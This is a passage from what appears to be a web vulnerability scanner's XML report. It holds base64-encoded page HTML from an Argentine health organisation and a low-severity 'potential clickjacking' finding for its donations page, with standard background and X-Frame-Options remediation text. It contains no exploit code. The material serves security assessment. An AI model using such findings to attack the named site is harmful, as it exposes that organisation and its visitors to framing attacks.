ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
219 <responseRedirected>false</responseRedirected>
220 </requestresponse>
221 </issue>
222 <issue>
223 <serialNumber>3820606740865266688</serialNumber>
224 <type>5245344</type>
225 <name>Frameable response (potential Clickjacking)</name>
226 <host ip="200.20.20.201">http://www.example.org.ar</host>
227 <path><![CDATA[/donaciones/]]></path>
228 <location><![CDATA[/donaciones/]]></location>
229 <severity>Information</severity>
230 <confidence>Firm</confidence>
231 <issueBackground><![CDATA[It might be possible for a web page controlled by an attacker to load the content of this response within an iframe on the attacker's page. This may enable a "clickjacking" attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.<br><br>Note that this issue is being reported because the application's response does not set a suitable <b>X-Frame-Options</b> header in order to prevent framing attacks. Some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.]]></issueBackground>
232 <remediationBackground><![CDATA[You should review the application functions that are accessible from within the response, and determine whether they can be used by application users to perform any sensitive actions within the application. If so, then a framing attack targeting this response may result in unauthorized actions.<br><br>To effectively prevent framing attacks, the application should return a response header with the name <b>X-Frame-Options</b> and the value <b>DENY</b> to prevent framing altogether, or the value <b>SAMEORIGIN</b> to allow framing only by pages on the same origin as the response itself.]]></remediationBackground>
233 <requestresponse>
234 <request base64="true"><![CDATA[R0VUIC9kb25hY2lvbmVzLyBIVFRQLzEuMQ0KSG9zdDogd3d3LnNhbHVkYWN0aXZhLm9yZy5hcg0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjE7IFdpbjY0OyB4NjQ7IFRyaWRlbnQvNS4wKQ0KQ29ubmVjdGlvbjogY2xvc2UNCg0K]]></request>
235 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpMYXN0LU1vZGlmaWVkOiBXZWQsIDAzIEp1bCAyMDEzIDEzOjQ4OjMwIEdNVA0KRVRhZzogImFhZDk2Ny03MTI5LTRlMDliYjc3ZmM3ODAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDI4OTY5DQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPHRpdGxlPlNhbHVkIEFjdGl2YTwvdGl0bGU+CjxsaW5rIGhyZWY9ImVzdGlsb3MuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgo8bGluayBocmVmPSJmb3JtX2ZpbGVzL2VzdGlsb3MuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4KPCEtLVtpZiBJRSA2XT4KCQkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCQkJIEBpbXBvcnQgdXJsKGllNi5jc3MpOwoJCQk8L3N0eWxlPiAKCQk8IVtlbmRpZl0tLT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0ianMvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJTY3JpcHRzL3N3Zm9iamVjdF9tb2RpZmllZC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0ianMvanF1ZXJ5LmN5Y2xlLmFsbC4yLjc0LmpzIj48L3NjcmlwdD4gCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgkkKCcjc2xpZGUnKS5jeWNsZSh7IAogICAgCWZ4OiAgICAgJ3Njcm9sbExlZnQnLCAKICAgCSAJc3BlZWQ6ICAxNTAwLCAKICAgIAl0aW1lb3V0OiA2MDAwICwKCQluZXh0OiAgICcjbmV4dCcsIAogICAgCXByZXY6ICAgJyNwcmV2JwoJfSk7Cn0pOwokKGZ1bmN0aW9uKCkKewovL2JvdG9uMQokKCIjYm90b24xIikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzEiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMiwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG80LCAjY29udGVuaWRvNSIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uMSIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKLy8kKCIjYm90b24yLCAjYm90b24zLCAjYm90b240LCAjYm90b241IikucmVtb3ZlQ2xhc3MoJ3NlbGVjdCcpLmFkZENsYXNzKCdub3NlbGVjdCcpOwp9KTsKCi8vYm90b24yCiQoIiNib3RvbjIiKS5jbGljayhmdW5jdGlvbihldmVudCkgewpldmVudC5wcmV2ZW50RGVmYXVsdCgpOwokKCIjY29udGVuaWRvMiIpLnNsaWRlVG9nZ2xlKCk7CiQoIiNjb250ZW5pZG8xLCAjY29udGVuaWRvMywgI2NvbnRlbmlkbzQsICNjb250ZW5pZG81Iikuc2xpZGVVcCgpOwokKCIjYm90b24yIikucmVtb3ZlQ2xhc3MoJ25vc2VsZWN0JykuYWRkQ2xhc3MoJ3NlbGVjdCcpOwovLyQoIiNib3RvbjEsICNib3RvbjMsICNib3RvbjQsICNib3RvbjUiKS5yZW1vdmVDbGFzcygnc2VsZWN0JykuYWRkQ2xhc3MoJ25vc2VsZWN0Jyk7Cn0pOwoKLy9ib3RvbjMKJCgiI2JvdG9uMyIpLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7CmV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiQoIiNjb250ZW5pZG8zIikuc2xpZGVUb2dnbGUoKTsKJCgiI2NvbnRlbmlkbzEsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNCwgI2NvbnRlbmlkbzUiKS5zbGlkZVVwKCk7CiQoIiNib3RvbjMiKS5yZW1vdmVDbGFzcygnbm9zZWxlY3QnKS5hZGRDbGFzcygnc2VsZWN0Jyk7Ci8vJCgiI2JvdG9uMiwgI2JvdG9uMSwgI2JvdG9uNCwgI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7CgovL2JvdG9uNAokKCIjYm90b240IikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzQiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMSwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNSIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uNCIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKJCgiI2JvdG9uMiwgI2JvdG9uMywgI2JvdG9uMSwgI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7CgovL2JvdG9uNQokKCIjYm90b241IikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzUiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMSwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNCIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKJCgiI2JvdG9uMiwgI2JvdG9uMywgI2JvdG9uMSwgI2JvdG9uNCIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7Cn0pOwo8L3NjcmlwdD4KCgo8L2hlYWQ+Cgo8Ym9keT4KPGRpdiBpZD0iY29udGVuZWRvciI+CjxkaXYgaWQ9ImhlYWRlciI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgPHRyPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249Im1pZGRsZSI+PGltZyBzcmM9ImltYWdlcy9oZWFkZXIuanBnIiBuYW1lPSJib3RvbjQiIHdpZHRoPSI5MzMiIGhlaWdodD0iMTI5IiBpZD0iYm90b240Ii8+PC90ZD4KICAgPCEtLSA8dGQgdmFsaWduPSJtaWRkbGUiPjxhIGhyZWY9ImluZm8uZG9jIiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltYWdlcy9oZWFkZXJtYzEuanBnIiBuYW1lPSJkZXNjYXJnYSIgd2lkdGg9Ijg0NSIgaGVpZ2h0PSIxMTAiIGJvcmRlcj0iMCIgIGlkPSJkZXNjYXJnYSIvPi0tPgo8L2E+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgo8L2Rpdj4gPCEtLWVuZCBvZiBIRUFERVIgLS0+CiAgICA8ZGl2IGlkPSJpbWF